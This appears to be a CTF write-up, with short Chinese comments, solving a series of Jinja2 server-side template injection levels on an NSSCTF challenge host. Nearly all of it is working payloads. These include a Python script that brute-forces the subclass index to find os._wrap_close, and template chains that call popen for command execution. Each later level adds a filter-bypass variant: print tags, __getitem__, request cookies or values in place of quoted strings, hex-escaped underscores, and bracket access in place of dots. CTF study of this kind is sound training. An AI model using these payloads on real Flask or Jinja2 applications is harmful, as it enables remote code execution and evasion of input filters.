Level-1 no waf
{{2*2}}
测试发现存在ssti漏洞
{{''.__class__}}
{{''.__class__.__bases__[0]}}
{{''.__class__.__bases__[0].__subclasses__}}
import requests
url="http://node1.anna.nssctf.cn:28430/level/1"
#payload={{''.__class__.__bases__[0].__subclasses__()[1]}}
#payload="{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__("+str(i)+"}}"
for i in range(500):
payload = {"code":"{{''.__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
#print(payload)
res=requests.post(url=url,data=payload)
#print(res.text)
if "os" in res.text:
print(res.text)
print(payload)
经过测试发现"os._wrap_close"在第133个子类,这时候可以调用133子类
{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
Level-2 bl[‘{{’]
{{2*2}}
发现被过滤了{{
{%print(2*2)%}
{%print(''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('ls').read())%}
Level-4 bl[‘[’, ‘]’]
{{''.__class__.__bases__[0]}}
发现存在WAF
{{''.__class__.__bases__.__getitem__(0).__subclasses__()}}
{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(133)}}
找到危险函数
{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('ls').read()}}
Level-5 bl[‘’', ‘"’]
{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[request.cookies.arg1](request.cookies.arg2).read()}}
{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[request.values.arg1](request.values.arg2).read()}}
Level-6 bl[‘_’]
{{''["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('ls').read()}}
利用\x5f替代下划线,并且加上[]
Level-7 bl[‘.’]
过滤了点,这是可以利用[]绕过
{{''['__class__']['__bases__'][0]['__subclasses__']()[133]['__init__']['__globals__']['popen']('ls')['read']()}}